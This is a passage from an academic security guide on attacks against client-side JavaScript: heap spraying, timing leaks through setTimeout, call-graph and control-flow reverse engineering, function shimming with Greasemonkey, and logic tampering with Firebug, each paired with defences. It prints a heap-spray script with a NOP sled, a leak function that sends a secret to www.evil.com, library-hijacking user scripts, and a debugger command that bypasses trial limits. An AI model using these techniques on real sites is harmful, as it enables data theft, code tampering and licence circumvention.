**Elevation of Privilege:** In the following attack the client side code written by the first party uses a malicious script leading to elevation of privilege. The code is taking advantage of the browser heap making it storage related. We have categorized the attack as black box since the attacker does not need to know about the underlying browser code regarding heap management.

In the heap spraying attack the attacker takes advantage of a vulnerable application to place many objects containing malicious code on the heap [39]. The attacker embeds malicious JavaScript in a vulnerable webpage and asks the JavaScript interpreter to allocate objects in the heap. Heap spraying requires a memory corruption exploit in the web browser where an attacker has corrupted the vtable method pointer to point to an incorrect address of their choosing. Through this memory corruption exploit, the program jumps to the malicious code as shown in figure 4.14.

Addresses of heap objects are less predictable than the stack, meaning the jump will not necessary land on the malicious code. To increase the chance of this happening the attacker creates many objects consisting of two parts. The first is a NOP (no operation) section which is large and if the jump lands on this part the code is eventually transferred to the shellcode which is the malicious part of the object. The JavaScript code in figure 4.15 would be injected into a vulnerable web page and carry out the attack. Take note that we are assuming that the attacker has control over the vtable method pointer.
Figure 4.14 – Heap Spray attack
<script language="text/javascript">

//Put shellcode into a string
shellcode = unescape("%u4343%u4343%...");

//Create NOP sled
oneblock = unescape("%u0D0D%u0D0D");
var fullblock = oneblock;
while (fullblock.length<0x40000) {
    fullblock += fullblock;
}

//Create 1000 objects on the heap.
sprayContainer = new Array();
for (i=0; i<1000; i++) {
    sprayContainer[i] = fullblock + shellcode;
}
</script>

Figure 4.15 - Black Box first party client side Elevation of Privilege attack

**Denial of Service:** In the following attack a malicious script can be injected in the client side code written by the first party. The malicious code is execution related and carries out denial of service through resource depletion.

A fork bomb is a type of denial of service attack where a process continually replicates itself to deplete available system resources [40]. If a web page has a XSS vulnerability the attacker can launch this particular attack by injecting the code in figure 4.16:
Tampering: In the following attack, code written by the first party is abused leading to tampering. The code is taking advantage of the client side database making it storage related. We have categorized the attack as black box since the attacker does not need to know about the underlying browser code regarding the database.

The use of a full blown database on the client side can be accomplished using the IndexedDB API. This is very useful since common data can be stored on the local database in order to reduce the latency involved in sending, requesting and waiting for a response from the server. The web applications can work offline which is another interesting aspect of using the IndexedDB API.

Geocities.com is an example of the case where different authors on the website share one hostname. This follows that the user database is also shared among all the authors. The risk is that a malicious author may read or overwrite the data of another leading to a cross-directory attack; hence it is advised that the client side database not be used in this case.

4.3.3 Third Party Mashup

Information Disclosure: In the following attack the code written by the third party abuses database functionality leading to information disclosure. The code is taking advantage of the client side database
making it storage related. We have categorized the attack as black box since the attacker does not need to know about the underlying browser code regarding the database.

User tracking is a concern in client side databases. Assume a third party host such as an advertising website that can get content distributed on multiple sites has a client side database. This host can track the user across multiple sessions and collect his profile of activities. This information can help in targeting users more accurately [41]. User agents may restrict access of database objects to scripts originating from the domain of the top-level document. This means denying access to the API for pages from other domains running in iframes.

4.4 Conclusion

This chapter kicked off the security guide for web application developers writing or maintaining JavaScript code. In this chapter we thoroughly explored various flavors of Man in the Middle attacks using code snippets to demonstrate the attacks along with some guidelines for mitigation. The next chapter continues by discussing Man at the End or White Box attacks.
Chapter 5

White Box (Man at the End) attacks

5.1 Introduction

White Box attacks are important due to the attractiveness of moving business logic and code from the server side to the client side and the security implications of such a strategy. While these attacks have been cataloged against binary code platforms, to the best of our knowledge some of these attacks have not been previously explored in the JavaScript language. We use a number of tools to demonstrate these attacks: the T.J Watson Libraries for Analysis (WALA) [42], Greasemonkey [43] and Firebug[44]. WALA code is available at github.com/wala/WALA and is split into several eclipse projects. Wala.core contains the core analysis which includes base Classes, some of which can be extended or implemented for analysis of a specific language. Wala.cast is the common AST (Abstract Syntax Tree) that shares code with all the AST front ends. Wala.cast.js is JavaScript specific and includes IR (Intermediate Representation) generation and analysis extensions that handle JavaScript semantics such as call graph creation. Wala is built to support several JavaScript parsers and the wala.cast.js.rhino package has the front end to convert rhino AST to WALA AST. Greasemonkey is a Firefox extension that allows user scripts written in JavaScript that manipulate the contents of a web page using the Document Object Model (DOM) interface. Firebug is another Firefox extension used for debugging purposes.

In each of the following sections we will describe a White Box security issue. This includes the problem along with general guidelines to defend against it. We explain the tool used to carry out the attack in JavaScript along with demonstration of the attack. In accordance with our taxonomy each of the sections is titled by the White Box asset that is to be protected. Section 5.2 discusses sensitive data. Section 5.3 is about call graphs. Section 5.4 talks about functions. 5.5 is about control flow graphs and 5.6 discusses program logic.
5.2 Data Asset

**Information Disclosure:** In the following attack the functionality of `setTimeout` is abused leading to information disclosure. The attack code uses `setTimeout` making it execution related. We have categorized the attack as White Box since the attacker has complete access of the client side code.

There are two timeout mechanisms in JavaScript. The built-in function `setInterval()` calls a function at specified intervals and `setTimeout()` calls a function after specified amount of time, the unit of time being milliseconds for both cases. These features can be useful in many scenarios, ranging from timing a slideshow to providing handlers when there is a network problem.

The developer needs to be careful of information leaks that are caused by transferring secret data into public sinks. Sinks are essentially variables where data is outputted. In the case of JavaScript the asset in question is sensitive data that is accessible on the client side (e.g., a secret variable in the JavaScript code). One of the ways that developers protect private data is by monitoring the control flow. The idea is that sensitive data should not explicitly or implicitly flow into public sinks. The danger of a timing attack stems from the fact that the attacker does not need access to a clock and can use the timeout mechanisms in order to successfully and unnoticeably learn the secrets.

Before describing the attack scenarios it is helpful to understand the details on how timeouts are handled by modern web browsers. Timeouts can be set inside a piece of JavaScript code. Timeouts cannot interrupt JavaScript currently running, either in a page, or as a result of a timeout. Thus if a timeout occurs, the code associated must wait until any script associated with the page finishes executing.

In the context of White Box attacks the attacker has full access to the client side code and can add timeout code to leak sensitive data. Figure 5.1 shows an example of the code an attacker would insert into a page. The attacker is interested in the one bit secret located in `form.secret`. The secret will leak into the variable `public` which is a public variable and is only assigned constant values. The attack starts with the `attack` function setting up three timeouts that call the following functions: `public0()`, which sets the
variable public to 0, \( f() \) that inspects the value of the secret, and \( \text{leak()} \) that sends the variable public to the attacker’s site.

The function \( f \) that has minimum delay (1 millisecond) is executed first and the function public0() is scheduled to run 50 milliseconds later. The function \( f \) inspects the value of form.secret. If form.secret is greater than zero then it goes into a 100 millisecond loop. When it exits the loop a timeout to call function public1() after 1 millisecond is set. In this case the public0 function will execute first and then public1 since more than 50 milliseconds has already passed. The final value of public if form.secret is greater than zero is 1. In the case where form.secret is less than zero, public1() is executed first because less than 50 millisecond passed since setting the timeout for public0() and the final value of public will be 0. Observe that depending on the value of form.secret, which affects the timing behavior of function f, the race to assign a value to public is resolved in different ways.
var public;
function public0() { public = 0 ; }
function public1() { public = 1 ; }
function attack() {
    setTimeout(function() { public0(); },50);
    setTimeout(function() { f(); },1);
    setTimeout(function() { leak(); },500);
}
function f() {
    var z = 0 ;
    if (form.secret > 0){
        do
        {z++;}
        while( z < 100000);
    }
    else {};
    setTimeout(function() { public1(); },1);
}
function leak { new Image().src="http://www.evil.com/leak=\"+encodeURI(public); }
attack();

Figure 5.1 - White Box Data Related Information Disclosure attack

Russo, et al. [45] creates a monitor for tracking information flow in the presence of timeouts. The monitor prevents insecure flow, making sure expressions on the right hand side of assignments do not depend on secrets (explicit flows) and these assignments are not made inside of a conditional or a loop with a secret
guard (implicit flows). In addition to checking these flows, commands are not allowed to assign to public variables if their respective timeouts were set in a secret context or the time depended on secrets.

5.3 Call Graph

**Information Disclosure:** In the following attack the vulnerable target code is not obfuscated. This allows for tools to build call graphs from the code making this attack a form of information disclosure.

In an un-obfuscated JavaScript application, an attacker will have enough information to successfully carry out an attack to obtain secrets and important values just by creating the call graph.

T.J Watson Libraries for Analysis (WALA) is a set of libraries used for its static and dynamic program analysis capabilities for several languages including Java and JavaScript \[46\]. WALA was first designed to do inter procedural analysis. In order to carry out this analysis the first thing is to create a call graph to know what procedures are being called from where.

The preliminary phase to extract a call graph in WALA is pointer analysis. This analysis determines the set of objects to which a reference variable or an object property may point \[47\]. Various styles of pointer analysis exists, Anderson style \[48\] being one of the most popular. WALA has created a specialized variation of Anderson style which it uses for its own pointer analysis. WALA also supports two types of optimistic and pessimistic styles of call graph extraction from the pointer analysis.

5.3.1 Pointer Analysis in JavaScript

In JavaScript the dynamic features such as adding properties or updating methods, as well as functions that are first class objects make the pointer analysis significantly more challenging than languages such as Java. Existence of such features in a language should be taken into consideration when doing the analysis.

The graphs in figure 5.2 compare pointer analysis between Java and JavaScript:
In the above code snippet at \texttt{S0} the \texttt{prompt} function is called which returns an input string from the user that is stored in the variable \texttt{str}. \texttt{S1} creates a new object which will be referred to in the graph as \texttt{o1} and stores the reference in the variable \texttt{a}. \texttt{S2} creates another object \texttt{o2} and assigns it to \texttt{a}'s dynamically added \texttt{x} property. \texttt{S3} creates \texttt{o3} and assigns it to a dynamically added \texttt{y} property. Finally, \texttt{S4} assigns \texttt{o4} to \texttt{a}'s \texttt{str} property. Based on what the user has entered in the prompt, \texttt{str} can evaluate to \texttt{x}, \texttt{y} or a new name with respect to inputs “\texttt{x}”, ”\texttt{y}” or any other input the user provides.

The left side graph below the code in figure 5.2 shows the outcome of conventional points-to analysis in a language such as Java that treats elements of an array in aggregate. This depiction is inaccurate for JavaScript. As illustrated by the example, objects in JavaScript are associative arrays and each element is a property of the object that must be considered in the analysis, hence the accurate analysis is shown on the right side graph.
5.3.2 Building the Call Graph

As mentioned earlier, pointer analysis and Call Graph creation is difficult in JavaScript due to the dynamic nature of the language. Tip [49] presents a field based flow analysis (a specialized variation of Anderson’s style pointer analysis) for creating Call Graphs in JavaScript. Building a Call Graph means determining functions that a given call may invoke at runtime. Creating a completely sound Call Graph for JavaScript is extremely difficult due to widespread use of `eval` and dynamic code loading through the Document Object Model (DOM). In Java, hierarchy analysis [50], which takes advantage of type information, is used to build the call graph. But this cannot be done in dynamically typed JavaScript. An alternative is flow analysis such as Anderson’s points to analysis that statically approximates the flow of data to reason about function calls. Unfortunately this analysis does not scale to large programs. Defined below is a lightweight flow graph analysis in order to efficiently approximate call graphs for JavaScript programs. The characteristics of the analysis are as follows:

- The analysis is field based. This means it uses a single abstract location per property name. This concludes that two functions that are assigned to properties of the same name become indistinguishable call targets even though their base objects are not the same.
- It only reasons about function objects.
- Ignores dynamic property accesses (reads and writes using JavaScript bracket syntax).

It is interesting that compared to other types of more rigorous analysis it is shown through evaluations that introducing these constraints does not significantly affect the precision.

The analysis comes in two forms of optimistic and pessimistic. The optimistic analysis starts with an empty call graph and expands as new flows are discovered. In the pessimistic approach inter procedural flow is only reasoned about in the special case of calls of the form 

```javascript
(function(x){...})(e)
```

where an anonymous function is directly applied to some argument. The optimistic approach detects more call sites but may be prone to false positives. The pessimistic approach uses a special vertex (called `unknown`) for cases that it cannot handle.
The analysis traces the flows of abstract values through abstract memory locations. The flow graph is constructed from an abstracted version of the AST. The AST is traversed and edges are added to the flow graph through a predefined set of rules. In order to come to the final Call Graph, a transitive closure on the flow graph is needed to determine all call site to call target relationships. To build a call graph using WALA we select Rhino as the parser and pass the JavaScript code along with a pessimistic/optimistic option to the buildCG method that creates the call graph.

5.3.3 Function Boundary Concealment

Function boundary concealment is a form of code obfuscation and a defense against creating a call graph. Its goal is to change the code so that it is difficult for a human to understand. With obfuscation, the parts of the code we wish to protect are harder to identify. This makes the code harder to reverse engineer and tamper with. Reverse engineering through creating the call graph can help in code lifting where the attacker identifies the part of code that holds important functionality, but instead of learning the functionality to reproduce it in an independent fashion the identified section is just copied and reused.

The function concealment problem is a more general case than shimming which we discuss in the next section. Shimming attack is an example of setting up a rogue call context in which a bogus responder sits in the middle of the call site and called function to intercept data. Here we want to see how that rogue call is set up in the first place. Understanding how the call graph structure works is the most important step to setting up a rogue call context in JavaScript.

In order to ultimately shim a function the attacker needs to know the function signature, parameters as well as the call site. Understanding the parameter types is irrelevant in a dynamic language. Also due to the fact that the number of arguments of the function can be variable in JavaScript this part of the signature is also irrelevant. The final resort is to conceal the function entry point using a dispatcher function. In other words the attacker should not know what function the call site is referring to. For example if we assume the attacker knew that the call site was referring to an sensitive function, all he needs to do now is shim that function in order to tap or alter the data returned from its call.
Figure 5.3 is example code to illustrate this. The goal is to create a call graph in order to identify the program structure for code lifting and later shimming attacks.

_CallGraphExample.js_

```javascript
function f () {
    B();
    g();
}
function g(){}
function B(){
    functionWithIntellectualProperty ();
}
function functionWithIntellectualProperty (){
}
```

Figure 5.3 – CallGraphExample.js

Figure 5.4 is the relevant call graph output for CallGraphExample.js where every node representing a call site is followed by a number of nodes (each starting with “JSCalls@->Node”) representing the callees:
5.4 Function

Information Disclosure and tampering: In this attack vulnerable code allows the attacker to insert an undetected shim in between the actual target and the calling code, which could tap the data (observe communications between the two original layers and dump interesting data communicated to a separate store) or modify it in transit (dynamically change parameters to alter program behavior).

The attack strategy is to interfere with normal calling sequences of code in order to bypass logic or intercept function call parameters. Newton [51] and Hartman [52] identify two ways to execute a shimming attack which we will later demonstrate in the examples of the implementation section:
1. Override the target function. This means the attacker should edit the application to call a bogus function instead of the real one. This bogus function has the same signature as the original one.

2. When the code imports a JavaScript library the attacker can remove the library and insert a new one that is malicious. This library must have the same API due to the fact that the functions of the original library are being used in the application.

### 5.4.1 Shimming in C vs JavaScript

One implementation of a shim in languages such as C is that you can create a shim library and preload it. This way the shim library will come before anything else overriding the functions of the original library. As an example, say you create a shared library object called shim.so and want it to be loaded before any other shared library. Say you also want to run the program "test". These things can be done on the command line with LD_PRELOAD:

```
LD_PRELOAD=/.../shim.so .../test
```

For client side JavaScript that is executed in the browser we can create an extension in Chrome or a Greasemonkey script in Firefox to recreate the same behavior. Either of these technologies can be used since attacking the code in one browser is sufficient to conclude that we are able to execute this White Box attack. For the sake of our examples we are using Greasemonkey.

### 5.4.2 Greasemonkey

Greasemonkey is a Mozilla Firefox extension that allows users to install scripts that make on-the-fly changes to web page content before or after the page is loaded in the browser (also known as augmented browsing) [53]. These scripts can modify a webpage in any way that JavaScript allows, with certain Greasemonkey security restrictions. The browser owner can determine what script he wants executed on a particular website and Greasemonkey offers to install any such script when requested. Greasemonkey scripts contain metadata which specifies the name of the script, a description, resources required by the
script, a namespace URL used to differentiate identically named scripts, and URL patterns for which the script is intended to be invoked or not.

Writing a Greasemonkey script is similar to writing JavaScript for a web page, with some additional allowances such as cross-site XMLHttpRequests. However, Greasemonkey scripts are limited due to security restrictions imposed by Mozilla's XPCNativeWrappers which I further discuss in the security section.

To set up Greasemonkey we took the following steps:

1. Download Greasemonkey and add it to Firefox
2. Every Greasemonkey script has a metadata section. One element in this section specifies the URL on which the script is to be invoked. For the experiments, in order to set the URL to point to a local file the `greasemonkey.fileIsGreasable` property in about:config of Firefox should be set to true (default is false).
3. Create a new Greasemonkey user script and in the @includes line of the metadata section put the file address. (e.g., file:///C:/.../PageWeWantToShim.html)
4. The next phase is to override the functions of JavaScript files with the help of this user script. I elaborate on this phase in the following sections.

5.4.3 Greasemonkey Security

In the first versions, Greasemonkey's injection mechanism was simple but wrong from a security perspective. It initialized a set of API functions as properties of the global window object, so that user scripts could call them. It loaded the source code of each user script, created a `<script>` element, assigned the source code of the user script to the contents of the `<script>` element, and inserted the element into the page. Once all the user scripts finished, Greasemonkey cleaned up the page by removing the `<script>` elements it had inserted and removing the global properties it had added.
1. When Greasemonkey 0.3 inserted a user script into a page, this triggered a DOMNodeInserted event, which the remote page could intercept.

2. User scripts can actually do things that regular unprivileged JavaScript cannot do because Greasemonkey provides a set of API functions specifically for user scripts. As an example Firefox would call a function set up by the remote page, which could steal a reference to `window.GM_xmlhttpRequest` and store it for later use.

3. By issuing a GET request on a file:// URL that pointed to a local file, user scripts could access and read the contents of any file on your hard drive. This is especially dangerous when coupled with leaking API functions to remote page scripts.

The combination of these security holes meant that a remote page script could steal a reference to the `GM_xmlhttpRequest` function, call it to read any file on your hard drive, and then call it again to post the contents of that file anywhere in the world.

The solution is to set up a safe environment where we can execute user scripts called a sandbox. The sandbox needs access to certain parts of the hostile environment (like the DOM of the web page), but it should never allow malicious page scripts to interfere with user scripts, or intercept references to privileged functions. The sandbox should be a one-way street, allowing user scripts to manipulate the page but never the other way around.

The sandbox never injects a `<script>` element into the original page, nor does it define its API functions on the global `window` object. Remote page scripts never have a chance to intercept user scripts, because user scripts execute within the sandbox. But this is only half the battle. User scripts might need to call functions in order to manipulate the web page. This includes DOM methods such as `document.getElementsByTagName`, as well as global functions such as `window.alert`. A malicious web page could redefine these functions to prevent the user script from working properly, or to make it do something else altogether. To solve this second problem, Greasemonkey 0.5 uses a Firefox
feature called XPCNativeWrappers. Instead of simply referencing the window object or the document object, Greasemonkey redefines these to be XPCNativeWrappers. An XPCNativeWrapper wraps a reference to the actual object, but does not allow the underlying object to redefine methods or intercept properties. This means that when a user script calls `document.createElement`, it is guaranteed to be the real `createElement` method, not some random method that was redefined by the remote page.

User scripts look exactly the same as JavaScript code that is written as part of a regular web page, and it ends up doing exactly the same thing. Nevertheless, it should be understood that in the context of a user script, everything is wrapped in an XPCNativeWrapper. The document object, the HTMLCollection, and each Element are all XPCNativeWrappers around their respective objects.

5.4.4 Implementing Shim attacks in JavaScript

The target of a shimming attack is the functions of the application. In JavaScript, functions can be placed into four categories of interest:

1. A function that is a property of a user created object. These functions are known as methods in object oriented terms.
2. A function that is declared by the user within the window object.
3. Global JavaScript functions (e.g., `eval`)
4. Functions that are part of a library (e.g., jQuery functions)

All of these functions are properties in JavaScript. Methods are properties of their objects, while core and global functions are properties of the window object. Properties can be added, removed and altered at runtime.

This dynamic potential introduces a White Box security vulnerability to the application and is quite different from compiled languages where functions are not changeable. In the following code snippets we show examples on how this attack is done on each function category:
Object Property Function

In figure 5.5, code1.js defines an object called myObj. This object has two properties, one of which is a function named myMethod. We can override this function by simply setting the myMethod property to a new function in the user script.

**Code1.js**

```javascript
var myObj = {
    "myMethod" : function(){alert("This is a test");},
    "myVar" : "hello!"
};
```

**FuncOverride1.user.js**

```javascript
//User defined Object's Method
myObj.myMethod = function(){alert("Hijacked myObj's method!");};
```

**Figure 5.5 – Shimming a function (method) of a user created object**
Window Object Function

Figure 5.6 shows a JavaScript file called code2.js which defines a `sendMessage` function. We also have a html page that has a text input box and a button (not shown below). When the button is clicked the `sendMessage` function is called with the text input as its argument.

Using Greasemonkey we created a script called FuncOverride2.user.js that overrides the `sendMessage` function. What we have done is use the proxy pattern by creating a function that is an interface to the original function. This way the attacker can tap into the data and observe the communications between the two original layers.
window.onload = function(){
    var p3Button1= document.getElementById("p3Button1");
    var p3Message1= document.getElementById("p3Message1");
    //trying to override the global user defined function
    p3Button1.onclick =
    function(){sendMessage(p3Message1.value)};
}

function sendMessage(x){
    var span1= document.getElementById("p3Span1");
    var message = document.createTextNode(x);
    span1.appendChild(message);
}

var oldFunction = window.sendMessage;
window.sendMessage = function(text) {
    alert('Hijacked! Argument was ' + text + '.');
    return oldFunction(text);
};

Figure 5.6 – Shimming a user created function within the window object

Global Functions
In the example shown in figure 5.7 we demonstrate how a global function such as JSON.parse is shimmed.
<html>
<head>
<script>
window.onload = function(){
    //The string is supposedly the JSON received from an Ajax call
    var s = '{"x":1, "y": {"z":[false, null, ""]}}';
    var button = document.getElementById("b1");
    button.onclick = function(){
        var p = JSON.parse(s);
        alert(p.x);
    }
}
</script></head>
<body>
<h1>JSON Parse</h1>
<button type="button" id="b1">Shim JSON!!</button>
</body>
</html>

FuncOverride3.user.js

var oldJSONParse = window.JSON.parse;

window.JSON.parse = function(a) {
    console.log("Hijacked JSON.parse");
    return oldJSONParse(a);
}

Figure 5.7 – Shimming the JSON.parse global function
We check to see if it is possible to shim the eval function. The built in eval function takes one string parameter and tries to parse that string. Eval can change the variables of the environment that calls it.

Eval’s ability to change local parameters is problematic for JavaScript optimizers and less optimization is done for functions that use eval. Another problem arises when an alias is used in place of eval (it is overridden). In this scenario the string will be evaluated as if it were top level global code.

Eval is not a real JavaScript function and the recent ECMAScript 5 specification specifically disallows overriding eval in strict mode. In this mode you can only query and set local variables, but cannot define new variables or functions in the local space. Eval is different in that unlike a real function, it can read and write local variables in the caller (this makes it more like an operator than a function):

```javascript
function foo() { 
    var a = 1;
    eval('a+= 1');
    alert(a); // 2
}
```

By replacing the eval function with a proxied function a problem arises in which the `a+=1` executes in the scope of the proxied function instead of foo. It is, therefore, impossible to replace eval with a fully working proxy.

In the html code of figure 5.8 we have two variables named x. One has the value “global” to illustrate it has global scope. We have created a button that executes a function when it is clicked. Inside this function we have also created variable x with the value “local”. Due to the fact that we override eval in the Greasemonkey script, eval uses the global scope for its variables and the result of the `console.log` will be "global changed" meaning we cannot properly override eval and get the expected result of an eval which is "local changed".
ShimDocument2.html

```html
<script>
var x = "global";
window.onload = function(){
    // the string is supposedly the code received from an Ajax call
    var button = document.getElementById("b1");
    button.onclick = function(){
        var x = "local";
        eval ("x += 'changed';");
    }
    button.ondblclick = function() {
        console.log(x);
    }
} </script>

FuncOverride4.user.js

handler = function(){
    var oldEval = window.eval;
    window.eval = function (text) {
        console.log('Hijacked! JavaScript code was ' + text + ' .');
        return oldEval(text);
    }
    var button = document.getElementById("b1");
    button.addEventListener('click', handler, false);
}

Figure 5.8 – Shimming Eval
Library Functions

We also examine the possibility of shimming functions in the jQuery Library. JavaScript has a simple core but an overly complicated client side API due to incompatibilities between different browsers. Hence many programmers write web applications using a JavaScript framework or utility libraries to simplify common tasks and hide differences between browsers.

jQuery is such JavaScript library, and uses itself to build itself. What this means is that many of the methods provided by the jQuery library are actually built internally as plugins to the jQuery architecture. It is shown in figure 5.9 that we can override a given jQuery method by simply creating a new plugin of the same name.
ShimDocument3.html

<head>
<script src="code3.js"></script>
<script src="jquery-2.0.3.js"></script>
</head>
<body>
<a>Remove Me 1</a>
</body>

Code3.js

$("a").attr("href", "javascript:void(0)" ).click(
    function(){
        // Remove the target link.
        $( this ).remove();
        return( false );
    }
);

FuncOverride5.user.js

var originalRemoveMethod = jQuery.fn.remove;
// We will override the remove method.
jQuery.fn.remove = function(){
    // Log the fact that we are calling our override.
    console.log( "Overrided jQuery's remove method!" );
    originalRemoveMethod.apply( this, arguments );
}

Figure 5.9 – Shimming the jQuery library functions
In the beginning of the section we explained that the second way to create a shimming attack is when a JavaScript library is imported in the code and the attacker removes the library and inserts a new malicious one that he created himself. The idea is to shim a library by replacing it with a new library which has the same API. In the html file in figure 5.10, code2.js is the library we want to shim. To do this we created a Greasemonkey script, LibOverride.user.js, that executes before the script tag loads code2.js. Therefore we set it to run at document-start. This Greasemonkey script will add a script tag that includes MaliciousLib.js in the HTML file. This library is added after code2.js in the html file hence it can successfully override all its functions.
**ShimDocument4.html**

```html
<head><title>Override the library</title><script src="code2.js"></script></head>
```

**LibOverride.user.js**

```
// ==UserScript==
// @include file://.../ShimDocument4.html
// @run-at document-start
// ==/UserScript==
var changed = 0;
window.addEventListener('beforescriptexecute', function(e) {
    src = e.target.src;
    if (src.search(/code2.js/) != -1) {
        changed++; append('MaliciousLib.js');};
    if(changed == 1) window.removeEventListener(e.type,
        arguments.callee, true);, true);
function append(s) {
    var script = document.createElement( 'script' );
    script.type = 'text/javascript'; script.src = s;
    document.head.appendChild(script);}
```

**MaliciousLib.js**

```javascript
var oldSendMessage = window.sendMessage;
window.sendMessage = function(text) {
    alert('Hijacked sendMessage! Argument was ' + text + '.');
    return oldSendMessage(text);};
```

**Figure 5.10 – Shimming a Library**
5.5 Control Flow Graph

**Information Disclosure:** In the following attack the vulnerable target code is not obfuscated. This allows for tools to build control flow graphs from the code, making this attack a form of information disclosure. Control Flow Flattening is a pattern applied in response to reverse engineering of the code and tampering attacks. To apply these attacks the attacker needs an understanding of the design intent of sensitive parts of the app by determining the CFG. Control flow is implemented using a fixed set of jumps and conditional branch instructions. Reproducing the control flow graph of the original program is undesirable since the design of the application should not be easy to understand by the attacker. The goal of this pattern would be to obscure control flow to obstruct static analysis. This is done by branch target obfuscation since understanding branch targets are the base to creating the control flow graph.

Recent web applications increasingly use Ajax as a way to communicate with the server. JavaScript uses higher order functions and has subtleties such as using frameworks for interaction with the DOM that will mask the differences between browsers. Guha [54] is the first attempt to create a control flow graph for a non-trivial JavaScript program that addresses the aforementioned issues. The motivating example that is introduced in this paper is part of a blogging system where a blogger can add, edit or remove a blog post through asynchronous requests to the server. The group of algorithms used for JavaScript analysis and that take higher order functions into account are called CFA’s. [55]

To create a control flow graph we need to know what functions will be called. Precise target of function calls may not be obvious for JavaScript that is dynamically typed and supports higher level functions. The question is that with these features in place is it possible to identify the type of a JavaScript variable or is possible to know what function will be called? The class of Control Flow analysis (CFA) functions positively answers the stated questions. CFA does an over approximation meaning that if it says that a procedure is called at a certain call site this may or may not be true, in other words it may lead to false positives. The easiest way to create a CFA is to use an abstract interpreter which:
- Uses abstract values positive and negative instead of real numbers.
- An abstract interpreter is non-deterministic, meaning when it encounters an *if statement* it follows all branches. By doing this the interpreter can find if there is an execution where an expression gets bound to a specific type.

Flow Analysis can be done either context sensitive or insensitive. Figure 5.11 expresses context insensitive flow analysis:

![Flow Analysis Diagram](image)

**Figure 5.11- Example of context insensitive flow analysis**

The variable \( x \) holds the value of 23. When the first id function is called, this value flows into the argument of id which in turn flows into the parameter of the function definition. The parameter is used in the return statement which causes the value to flow into variable \( y \). The variable \( s \) which holds the value “hello” follows a similar process and the value finally flows into variable \( t \). If the analysis is done context insensitive it can conclude that the “hello” string can flow into variable \( y \) as well as \( t \). This is shown in the
example using the red arrows. To remedy this inaccurate analysis, two copies of the function id (one for each call context) is created and kept separate. This is illustrated in figure 5.12:

![Context Sensitive Flow Analysis Diagram](image)

**Figure 5.12 – Context sensitive flow analysis**

This makes analysis context sensitive and more precise but more costly to do. CFA was originally created as an abstract interpreter for Scheme but the core principles translate to JavaScript as well.

0-CFA is one of the most famous forms of CFA which is a context insensitive flow analysis [55]. A procedure is abstracted to the lambda term that created it (see lambda calculus). 0-CFA uses flow rules on the lambda terms to complete the analysis. 0-CFA is not very precise since it does not consider the context in which the value flows. Higher CFA’s are slower to do but create more precise results.

Reverse engineering through finding the control flow graph can help in code lifting. Also, control flow flattening problem is a more general case of the program decisions and property attacks. Here the attacker
wants to see where the program decision and property is located in the first place. This is the initial step in tampering the program logic in order to maliciously change the applications sensitive business model.

In the blogging example, although the data that is written into a blog post is unstructured, the request to insert the post (client to server) or display the post (server to client) and the sequence of procedures is structured and can be modelled by a CFG. For example, figure 5.13 shows the postHandler. This function will be executed when the postButton is clicked, sending the blog post data to the server through an XMLHttpRequest. The analysis should be context sensitive. This allows for XHR to be distinct as opposed to the context insensitive case where all flows that go through XHR are merged. Also the structure of the data that is sent to the server should be identified to some extent in order for a more accurate analysis. Finally, modern JavaScript code makes extensive use of frameworks such as JQuery. JQuery can cope with the browser implementation differences of the DOM. Coding tricks that are used to implement such framework should be taken into consideration for analysis.

We use JS_WALA in order to create the CFG for the following piece of code that was introduced in [54]. The libraries we used to create the control flow graphs for JavaScript are written in JavaScript. The code for creating a control flow graph resides in a library called JS_WALA which although written in JavaScript and not part of github.com/wala/WALA still exists at https://github.com/wala/JS_WALA. The goal of the following program is to set up an event handler on a post button. Consequently when the user submits a blog post, this event causes the postHandler function to execute. This piece of code called ControlFlowGraph.js in figure 5.13 illustrates JavaScript features including var declaration, constructor creation and inner functions.
ControlFlowGraph.js

```javascript
var postHandler = function(event) {
    var postReq = new XMLHttpRequest();
    postReq.open('/post');
    postReq.onreadystatechange = function(responseText) {
        if (postReq.readyState == 4) {
            alert('This could be sensitive business logic that can be tampered!');
        }
    }
    postReq.send(... post data ...);
}

var postButton = document.getElementById('post');
postButton.addEventListener('click', postHandler);
```

Figure 5.13 – ControlFlowGraphExample.js

The first step to create the CFG using JS_WALA is to normalize the above code. The specific format or JavaScript Normal Form (JSNF) can be found at [56]. Take note that the final CFG is built base on the JSNF of the above code. Next we need to parse the program using a JavaScript parser such as Esprima. This results in an AST which is the input for building the CFG.

```javascript
var ast = esprima.parse(prog, { loc: true, range: true });
cfg.buildCFG(ast);
```

The alerted output is shown in figure 5.14:
Figure 5.14 - Control Flow Graph output using JS_WALA
The output is depicted in the figure 5.15 (each node includes the line number in the Normalized form)

Figure 5.15 - White Box Control Flow Graph Related Information Disclosure attack
5.6 Program Logic

**Information disclosure and Tampering:** In this attack the vulnerable target code allows for observing and tampering with program decisions and properties. On the source code level the program decisions consist of conditional, switch and loop statements which are in the form of conditional jumps with comparison operations on the binary level. The attacker can use a debugger to jam the conditional jump by replacing the conditional jump with an unconditional one, taking a branch the attacker has in mind. This effectively circumvents program decisions. Also the concrete example of tampering with a program property would be to change the upper bound of a particular constant rendering the program to malfunction. A DoS attack can be the outcome of such a malfunction.

Firebug is a web development tool that allows developers to inspect HTML and modify style and layout in real-time, use the most advanced JavaScript debugger available for any browser and accurately analyze network usage and performance.

In order to demonstrate how we use the JavaScript debugger to launch a Program decisions and Properties White Box attack we have created a web page called fbCode.html. This code includes the external firebugCode.js and firebugCode2.js files.

The first step of the attack is to search in the firebug tab to find the script we want to debug. With firebug we are able to set breakpoints at a particular line of code and use the watch tab to change intended program decisions or properties via an expression entered in this tab. First we demonstrate attacking the program logic. The example shown in figure 5.16 circumvents the program decision by jamming conditionals. The code contains a *while loop* and an *if statement*, both of which are jammed in a similar fashion. We do this by copying the code that contains the sensitive program decision, placing it inside an `eval` function and editing it in order to jam the conditions.
firebugCode.js

//The hypothetical state of the following two variables shows that no
movies can be downloaded.
var inThirtyDayTrial = false;
var numberOfMovieDownloads = 1001;
while (inThirtyDayTrial){
    if (numberOfMovieDownloads < 1000){
        alert("Code that enables the user to download the
movie from server.");
    }
}

Figure 5.16 - Program Logic including conditional statements

For the attack we set a breakpoint at the while statement and execute the following in the console which allows us to circumvent both conditions:
eval('while (true){if (true){alert("Code that enables the user to
download the movie from server.");}}');

We can also use firebug to attack the program properties. In the following code we have accounted for three types of program properties. In the first section we will tamper with a constant. We move on to tamper with the property that a certain variable falls in a certain domain, and finally we will change a relationship property between two variables.
The attack on the code in figure 5.16 is to tamper with the MAX constant in order to install the software 20 times instead of the predefined 10 times.
firebugCode2.js

var MAX = 10;
